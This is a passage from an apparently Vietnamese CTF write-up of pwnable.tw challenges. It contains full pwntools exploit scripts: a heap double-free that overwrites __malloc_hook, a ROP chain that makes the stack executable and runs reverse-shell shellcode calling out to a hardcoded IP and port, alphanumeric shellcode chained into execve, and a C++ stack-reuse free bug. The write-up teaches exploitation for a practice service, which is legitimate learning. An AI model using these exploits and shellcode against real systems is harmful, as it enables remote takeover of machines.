create(p,0x68,b'7'*0x68,b'E'*23)
remove(p,1)
remove(p,2)
remove(p,1)
name = p64(fake_chunk)
create(p,0x68,name,b'E'*23)
clean(p)
create(p,0x68,name,b'E'*23)
# GDB(p)
create(p,0x68,name,b'E'*23)
remove(p,0)
# GDB(p)
name = b'a'*19 + p64(gadget[2] + libc.address)
create(p,0x68,name,b'E'*23)
remove(p,4)
remove(p,4)
```
:::warning
- Trong bài này có 1 trick để gọi shell từ việc gây lỗi Double Free và mình đã viết 1 bài để nói cụ thể hơn [From Double Free to Get shell](https://)
:::
## get flag
```py
#!/usr/bin/env python3
from pwn import *
def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)
def intFromByte(p, size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output, 16)
return leak
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def create(p,len,name,color):
sa(p,b'Your choice : ',b'1')
sla(p,b'Length of the name :',str(len).encode())
sa(p,b'The name of flower :',name)
sla(p,b'The color of the flower :',color)
def visit(p):
sa(p,b'Your choice : ',b'2')
def remove(p,idx):
sa(p,b'Your choice : ',b'3')
sla(p,b'remove from the garden:',str(idx))
def clean(p):
sa(p,b'Your choice : ',b'4')
def GDB(p):
base = get_exe_base(p.pid)
gdb.attach(p, gdbscript=f'''
b*{base}+0x0000000000000C65
c
''')
input()
def main():
context.binary = exe = ELF("./chal_patched", checksec=False)
libc = ELF("./libc_64.so.6", checksec=False)
# ld = ELF("./", checksec=False)
p = remote("chall.pwnable.tw",10203)
# p = process(exe.path)
# GDB(p)
############### Leak libc ###############
create(p,0x28,b'0'*0x28,b'A'*23) #0-name:5040-color:4000
create(p,0x28,b'1'*0x28,b'B'*23) #1-name:50a0-color:5070
create(p,0x28,b'2'*0x28,b'C'*23) #2-name:5100-color:50d0
create(p,0x28,b'3'*0x28,b'D'*23) #3-name:5160-color:5130
# GDB(p)
create(p,0xa0,b'4'*0xa0,b'E'*23) #4-name:51c0-color:5190
create(p,0x28,b'5'*0x28,b'f'*23) #5-name:52a0-color:5270
# GDB(p)
remove(p,1)
remove(p,2)
remove(p,3)
remove(p,1)
# GDB(p)
create(p,0x28,b'6'*0x28,b'A'*23) #6-name:5160-color:50a0
remove(p,4)
# GDB(p)
name = p64(0x1) + b'\xd0'
create(p,0x28,name,b'B'*23) #7-name:50a0-color:5100
visit(p)
ru(p,b'flower[6] :')
leak = intFromByte(p,6)
print("leak libc:",hex(leak))
libc.address = leak - 3947384
print("libc base:",hex(libc.address))
############## get shell ##############
gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
malloc_hook = libc.sym['__malloc_hook']
fake_chunk = malloc_hook - 35
color_list = 0x555555400000 + 0x0000000000202040
clean(p)
create(p,0x68,b'8'*0x68,b'E'*23) #8-name:51c0-color:5190
create(p,0x68,b'9'*0x68,b'E'*23) #9-name:52d0-color:5130
create(p,0x68,b'7'*0x68,b'E'*23)
remove(p,1)
remove(p,2)
remove(p,1)
name = p64(fake_chunk)
create(p,0x68,name,b'E'*23)
clean(p)
create(p,0x68,name,b'E'*23)
# GDB(p)
create(p,0x68,name,b'E'*23)
remove(p,0)
# GDB(p)
name = b'a'*19 + p64(gadget[2] + libc.address)
create(p,0x68,name,b'E'*23)
remove(p,4)
remove(p,4)
p.interactive()
if __name__ == "__main__":
main()
```
# Kidding [400 pts] : Reverse shell
## :warning:Phân tích
- Nhìn chung thì chương trình khá đơn giản, chỉ có lỗi BOF

- Tuy nhiên, binary đã đóng hết các `fd (stdin, stdout, stderr)`
:::danger
:skull_and_crossbones: Điều này cõ nghĩa là chúng ta sẽ không thể sử dụng stdin(nhập bàn phím), stdout(in màn hình), stderr(nhận báo lỗi từ chương trình)
:point_right: Chúng ta có thể get shell nhưng không không thể tương tác với shell để in ra flag
:::
### :warning: file descriptor và parent-child process
- Đối với khái niệm file descriptor thì không quá xa lạ nhưng cách hoạt động của nó trong từng process như thế nào.
- Đối với mỗi process, `file descriptor table` sẽ khác nhau
- Khi chúng ta gọi shell, nó sẽ được xem là 1 chhild proscess( tiến trình con) nhưng đối với child process thì chương trình sẽ sử dụng `fork()`, `execve()` để gọi và 2 hàm này sẽ tạo ra 1 `child process` là bản sao của `parent process` -> Đây chính là nguyên nhân khi ta có thể gọi shell nhưng không thể tương tác với shell để lấy flag
### :warning: socket + reverse shell
:::success
:point_right: Để tránh cho write-up quá dài mình đã tách phần này sang 1 bài viết khác [socket + reverse shell](https://hackmd.io/@ctfctfctf/H1zpT9mykl)
:::
## Khai thác
### Quyền thực thi

- Ta thấy NX enabled nên bài này chúng ta chỉ có thể ROP nhưng số lượng bài có hạn chỉ 0x64 mà để tạo 1 reverse shell thì ROP có vẻ quá khó(chưa kể tìm gadget để ROP cũng không hề dễ)
#### Bypass

- Đây là 1 file binary tĩnh (các hàm libc tích hợp trong trong file exe)
- Ta tìm thấy 1 hàm có thể hàm cho stack thực thi được :
```c
unsigned int __usercall dl_make_stack_executable@<eax>(_DWORD *a1@<eax>)
{
unsigned int result; // eax
if ( *a1 != _libc_stack_end )
{
return 1;
}
result = mprotect(*a1 & -dl_pagesize, dl_pagesize, _stack_prot);
if ( result )
{
return *(_DWORD *)(__readgsdword(0) - 0x18);
}
*a1 = 0;
dl_stack_flags |= 1u;
return result;
}
```
-> Bản chất hàm này cũng là syscall `mprotect` để thay đổi quyền nhưng nó sẽ check vùng mình đưa vào để thay đổi stack theo format của nó.
:::warning
- Ở đoạn này sẽ phải vượt qua 1 số lần check (if else) để có thể mprotect an toàn
- Điều này không có khó bởi vì đây là binary liên kêt tĩnh (mọi thứ cần thiết ở libc đã ở trong này) nên chỉ cần debug rồi fix dần là ra. (Sai chỗ nào fix chỗ đó :smile:)
:::
```py
int_80 =0x0806c825
mov =0x0805462b # mov dword ptr [edx], eax ; ret
pop_eax =0x080b8536
_dl_make_stack_executable = 0x0809a080
__stack_prot = 0x80e9fec
pop_edx =0x0806ec8b
call_esp =0x080c99b0
payload = b'A'*8 + p32(0x13100103) #0x13100103
payload += p32(pop_eax) + p32(0x7)
payload += p32(pop_edx) + p32(__stack_prot)
payload += p32(mov)
payload += p32(pop_eax) + p32(0x80e9fc8)
payload += p32(_dl_make_stack_executable)
```
### Write shellcode reverse shell
- Phần này mình cũng đã nói ở trong bài viết về [Reverse shell & Bind shell](https://hackmd.io/@ctfctfctf/H1zpT9mykl#4-Tri%E1%BB%83n-khai-Reverse-shell-amp-Bind-shelll)
:::info
- Đoạn này công việc sẽ là chuyển Reverse shell từ C sang assembly x86 (đơn giản là thực hiện các lệnh gọi system call)
- Ngoài ra, do số byte cũng hạn chế nên trước cần tối ưu bằng cách quan sát các register trước khi sử dụng.
- Trong shellcode, có đoạn convert IP và port để truyền đối số cho syscall `connect` -> Bạn có thể `compile` reverse shell bằng C sau đó debug để xem.
:::
```asm
shellcode = '''
mov ax, 0x167
push 0x2
pop ebx
push 1
pop ecx
xor dl, dl
int 0x80
mov bl, al
mov ax, 0x16A
push ebp
push 0xb53a0002
mov ecx , esp
mov dl, 0x10
int 0x80
mov al, 0xb
xor ecx, ecx
xor edx, edx
push 0x0068732f
push 0x6e69622f
mov ebx , esp
int 0x80
'''
```
## Full script
```py
#!/usr/bin/env python3
from pwn import *
def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)
def intFromByte(p, size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output, 16)
return leak
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def GDB(p):
base = get_exe_base(p.pid)
gdb.attach(p, gdbscript='''
b*0x809a0c6
c
''')
input()
def main():
context.binary = exe = ELF("./chall", checksec=False)
# libc = ELF("./", checksec=False)
# ld = ELF("./", checksec=False)
p = remote("chall.pwnable.tw",10303)
# p = process(exe.path)
# pop_eax =
int_80 =0x0806c825
mov =0x0805462b # mov dword ptr [edx], eax ; ret
pop_eax =0x080b8536
_dl_make_stack_executable = 0x0809a080
__stack_prot = 0x80e9fec
pop_edx =0x0806ec8b
call_esp =0x080c99b0
payload = b'A'*8 + p32(0x13100103) #0x13100103
payload += p32(pop_eax) + p32(0x7)
payload += p32(pop_edx) + p32(__stack_prot)
payload += p32(mov)
payload += p32(pop_eax) + p32(0x80e9fc8)
payload += p32(_dl_make_stack_executable)
payload += p32(call_esp)
shellcode = '''
mov ax, 0x167
push 0x2
pop ebx
push 1
pop ecx
xor dl, dl
int 0x80
mov bl, al
mov ax, 0x16A
push ebp
push 0xb53a0002
mov ecx , esp
mov dl, 0x10
int 0x80
mov al, 0xb
xor ecx, ecx
xor edx, edx
push 0x0068732f
push 0x6e69622f
mov ebx , esp
int 0x80
'''
shellcode = asm(shellcode)
payload += shellcode
# GDB(p)
s(p,payload)
p.interactive()
if __name__ == "__main__":
main()
```
# Alive Note [350 pts] : limited shellcode
- Về bug thì khã rõ là lỗi `out-of-bound` và với lỗi này chúng ta có thể ghi vào `got`
- Ở server có chút khác với local là bài này cho heap thực thi được nên mục tiêu là ghi shellcode vào heap sau đó dùng bu `out-of-bound` để khi địa chỉ heap đấy vào `got` -> mục tiêu là `free`
## Điểm khó
- Shellcode bị giới hạn trong các bytes sau (đây là các byte kiểu ):
```c
s[i] != 0x20 && ((*__ctype_b_loc())[s[i]] & 8) == 0
```
- Đây là các byte thuộc gồm 0x20 , các số, và chữ (gồm cả in hoa, viết thường)
```py
valid_chars = [
0x20, # Space
*range(0x30,0x39) # 0-9
*range(0x41, 0x5B), # A-Z
*range(0x61, 0x7B) # a-z
]
```
- Mỗi shellcode chỉ có thể ghi 8 byte
## Bypass
- Để có thể chain được được các shellcode lại với nhau thì chúng ta có thể dùng các lệnh jump trong assembly.
- Nhưng các lệnh jump cũng cần thỏa mãn:
- thuộc byte hợp lệ với đề bài
- thỏa mãn được `eflags` thì mời jump được
### Tìm lệnh jump
- Debug để xem đến lệnh jump thì thanh ghi `eflags` sau đó kiểm tra xem lệnh jump nào có thể dùng được ( sử dụng đoạn code sau)
```py
JUMP_INSTRUCTIONS = [
(0x70, "JO", "OF == 1"),
(0x71, "JNO", "OF == 0"),
(0x72, "JB/JNAE/JC", "CF == 1"),
(0x73, "JNB/JAE/JNC", "CF == 0"),
(0x74, "JZ/JE", "ZF == 1"),
(0x75, "JNZ/JNE", "ZF == 0"),
(0x76, "JBE/JNA", "CF == 1 or ZF == 1"),
(0x77, "JNBE/JA", "CF == 0 and ZF == 0"),
(0x78, "JS", "SF == 1"),
(0x79, "JNS", "SF == 0"),
(0x7A, "JP/JPE", "PF == 1"),
(0x7B, "JNP/JPO", "PF == 0"),
]
def parse_eflags(eflags_hex):
eflags = int(eflags_hex, 16)
CF = (eflags >> 0) & 1
PF = (eflags >> 2) & 1
AF = (eflags >> 4) & 1
ZF = (eflags >> 6) & 1
SF = (eflags >> 7) & 1
OF = (eflags >> 11) & 1
possible_jumps = []
for opcode, name, condition in JUMP_INSTRUCTIONS:
if eval(condition.replace("CF", str(CF)).replace("PF", str(PF)).replace("AF", str(AF))
.replace("ZF", str(ZF)).replace("SF", str(SF)).replace("OF", str(OF))):
possible_jumps.append((hex(opcode), name))
return possible_jumps
if __name__ == "__main__":
eflags_hex = input("Nhập mã hex của EFLAGS (VD: 0x10292): ")
jumps = parse_eflags(eflags_hex)
print("\nCác lệnh jump có thể sử dụng:")
for opcode, name in jumps:
print(f"{name} - Opcode: {opcode}")
```
-> Đoạn code này cần nhập vào giá trị của `eflags`

-> ví dụ : eflags = 0x282

### Chèn int 0x80 vào shellcode
- Mẹo ở đây là sử dụng `xor` (bản chất là khi 1 số xor với 0 thì sẽ là chính nó)
```c
0: 66 31 41 32 xor WORD PTR [ecx+0x32],ax
```
- Việc còn lại là set up cho ax sẽ là `0xcd` `0x80`
- Có 1 cách đó là làm cho rax = -1 (0xffffffff) sau đó xor với các số khác để biến 2 byte cuối thành mục tiêu ( đoạn này thì hoàn toàn có thể tự tính)
- Phần còn lại thì hoàn thành challeng và lấy flag thuiiiiiii.
## Flag
```py
#!/usr/bin/env python3
from pwn import *
def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)
def intFromByte(p, size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output, 16)
return leak
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def leak(p, payload):
sl(p, payload)
ru(p, b'|')
leak = int(ru(p, b'|').replace(b'|', b''), 16)
return leak
def add(p,idx,payload):
sla(p,b'choice :',b'1')
sla(p,b'ndex :',str(idx))
sa(p,b'ame :',payload)
def show(p,idx):
sla(p,b'choice :',b'2')
sla(p,b'ndex :',str(idx))
def delete(p,idx):
sla(p,b'choice :',b'3')
sla(p,b'ndex :',str(idx))
def padding(p):
for i in range(3):
add(p,0,b'AAAAAAAA')
def GDB(p):
base = get_exe_base(p.pid)
gdb.attach(p, gdbscript='''
b*0x080488EA
c
call (int)mprotect(0x804b000,0x1000,7)
''')
input()
def main():
context.binary = exe = ELF("./chall", checksec=False)
# p = process(exe.path)
p = remote("chall.pwnable.tw",10300)
################## NOTES ####################
valid_chars = [
0x20, # Space
*range(0x41, 0x5B), # A-Z
*range(0x61, 0x7B) # a-z
]
print([hex(c) for c in valid_chars])
note = 0x804a080
###################### write shellcode : read #######################
shellcode =asm('''
push eax
push eax
pop ecx
pop edx
push 0x30
''')
shellcode+=b'\x75\x38' #phase1
# GDB(p)
add(p,-27,shellcode)
padding(p) #padding to shellcode chain
shellcode =asm('''
pop eax
xor al, 0x30
dec eax
push eax
push eax
''')
shellcode+=b'\x75\x38' #phase2
add(p,0,shellcode)
padding(p) #padding to shellcode chain
# GDB(p)
shellcode =asm('''
xor ax, 0x3456
push eax
push eax
''')
shellcode+=b'\x75\x38' #phase3
add(p,0,shellcode)
padding(p) #padding to shellcode chain
# delete(p,-27)
# GDB(p)
shellcode =asm('''
xor ax, 0x4b64
push eax
push eax
''')
shellcode+=b'\x75\x38' #phase4
add(p,0,shellcode)
padding(p) #padding to shellcode chain
# delete(p,-27)
# GDB(p)
shellcode =asm('''
xor byte [ecx + 0x31], ax
push 0x30
''')
shellcode+=b'\x75\x38' #phase5
add(p,0,shellcode)
padding(p) #padding to shellcode chain
# delete(p,0)
# GDB(p)
shellcode =asm('''
pop eax
xor al, 0x33
push eax
push eax
push eax
''')
shellcode+=b'\x75\x5a' #phase6
add(p,1,shellcode)
padding(p) #padding to shellcode chain
delete(p,0)
############ execve #############
shellcode =b'A'*0x34 + asm(shellcraft.sh())
sl(p,shellcode)
p.interactive()
if __name__ == "__main__":
main()
# FLAG{Sh3llcoding_in_th3_n0t3_ch4in}
```
# CAOV [350 pts] : Reverse and exploit C++
## Phân tích - reverse
- Trong hàm main trước khi gọi đến hàm playground() thì chương trình dùng `cin >> k` (đây là một đối tượng thuộc class string)
- Khi đưa input vào string này thì với cơ chế của c++ thì sẽ malloc đến khi nào không con cin nữa (có nghĩa là nhập bao nhiêu thì malloc bấy nhiêu, đồng thời free các chunk luu trước đó)
- Cả case 1 thì chỉ là in ra thông tin của đối tượng
- với case 2 :
- `old = *D; ` : đoạn này sẽ gọi đến hàm operator trong class (xử lí khi copy object của class)
- Đoạn này phải đọc IDA mới thấy bug

- Khi dùng `copy contructor` compiler sẽ tạo ra 2 class là old và copyV (nằm trên stack)

- sau đó gọi destructor để xóa copy

-> Ở đây nó check field key để free
- 2 object copyV và old nằm ở stack mà trước đó nó gọi đến hàm `set_name()`

- Hàm này ghi vào stack trước rồi mới copy
-> Nên stack frame của hàm set_name vẫn còn dẫn đến field của object copyV sẽ trùng với buf của hàm set_name
-> Lúc này thì ta có thể control được địa chỉ free ở destructor `~Data()`
-> REUSE STACK -> write after free